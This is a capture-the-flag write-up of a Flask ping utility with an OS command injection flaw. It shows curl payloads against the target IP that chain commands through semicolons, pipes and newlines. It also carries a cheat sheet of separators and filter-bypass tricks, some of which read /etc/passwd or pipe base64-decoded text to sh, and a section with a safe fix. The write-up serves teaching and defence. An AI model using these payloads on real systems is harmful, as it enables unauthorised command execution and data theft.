Ping Pwn
Ping Pwn
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Newline injection (%0a), OS command injection via shell metacharacters, Pipe command chaining, Semicolon command separator
Summary
Walkthrough of the CUSTOM Web Ping Pwn. Task: Flask ping utility with user input passed to os.popen() without sanitization. Solution: OS command injection via semicolon separator to execute arbitrary commands as root and read flag.
Description
Target server with two services: static page on nginx (port 80) and Flask application "Network Monitoring Tool" (port 8080), allowing ping to a specified host.
Target: 108.130.194.115
Analysis
1. Reconnaissance — Nmap
Port scanning revealed two open services:
| Port | Service | Version |
|---|---|---|
| 80 | nginx | 1.28.0 — static landing page |
| 8080 | Werkzeug | 2.3.7 Python/3.11.13 — Flask app |
2. Application Analysis
Flask application on port 8080 provides a form /ping?host= that accepts hostname/IP and executes ping.
3. Vulnerable Code
Server code in /app/app.py:
python read-only • copy allowed@app.route('/ping') def ping(): host = request.args.get('host', '') command = f"ping -W 1 -c 1 {host}" result = os.popen(command).read() return render_template_string(HTML_TEMPLATE, result=result)
Problem: user input is directly concatenated into shell command via os.popen() without any filtering or escaping. The os.popen() function spawns a shell process, making injection trivial.
Solution
Step 1: Confirming Command Injection
bash read-only • copy allowedcurl "http://108.130.194.115:8080/ping?host=127.0.0.1;id"
Result:
uid=0(root) gid=0(root) groups=0(root),...
Application runs as root — injection is critical.
Step 2: Testing Various Separators
All three injection methods work:
bash read-only • copy allowed# Semicolon — sequential execution curl "http://108.130.194.115:8080/ping?host=127.0.0.1;id" # Pipe — output redirection curl "http://108.130.194.115:8080/ping?host=127.0.0.1|id" # Newline — line break (URL-encoded) curl "http://108.130.194.115:8080/ping?host=127.0.0.1%0aid"
Step 3: Finding the Flag
bash read-only • copy allowedcurl "http://108.130.194.115:8080/ping?host=127.0.0.1;ls+-la+/"
Result — found file /flag.txt in root directory.
Step 4: Reading the Flag
bash read-only • copy allowedcurl "http://108.130.194.115:8080/ping?host=127.0.0.1;cat+/flag.txt"
Result:
REDACTED
Command Injection — Cheat Sheet
Command Separators
| Symbol | Description | Example |
|---|---|---|
; | Sequential execution | host;id |
| | Pipe (output of first → input of second) | host|id |
& | Background execution | host&id |
&& | Execute second if first succeeds | host&&id |
|| | Execute second if first fails | invalid||id |
%0a | Newline (URL-encoded) | host%0aid |
` | Backticks (substitution) | host`id` |
$() | Command substitution | host$(id) |
| |
Filter Bypass (if WAF present)
bash read-only • copy allowed# Spaces blocked — use $IFS or {,} cat${IFS}/etc/passwd {cat,/etc/passwd} # Keywords blocked — concatenation c'a't /etc/passwd c""at /etc/passwd /bin/c?t /etc/passwd # Slash blocked — environment variables cat ${HOME:0:1}etc${HOME:0:1}passwd # Base64 bypass echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
Defense
python read-only • copy allowed# CORRECT: use subprocess with argument array (no shell) import subprocess import shlex @app.route('/ping') def ping(): host = request.args.get('host', '') # Validation: only IP or hostname if not re.match(r'^[a-zA-Z0-9.\-]+$', host): return "Invalid host", 400 # Safe call without shell try: result = subprocess.run( ['ping', '-W', '1', '-c', '1', host], capture_output=True, text=True, timeout=5 ) output = result.stdout except subprocess.TimeoutExpired: output = "Timeout" return render_template('ping.html', result=output)
Key principles:
- Never use
os.popen(),os.system()— always usesubprocesswithshell=False - Pass arguments as a list, not a string
- Validate input — whitelist allowed characters
- Don't run application as root
Key Takeaways / Lessons
- Mastering Newline injection (%0a), OS command injection via shell metacharacters, Pipe command chaining, Semicolon command separator was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-02-16 • CUSTOM • Ping Pwn • Difficulty: Easy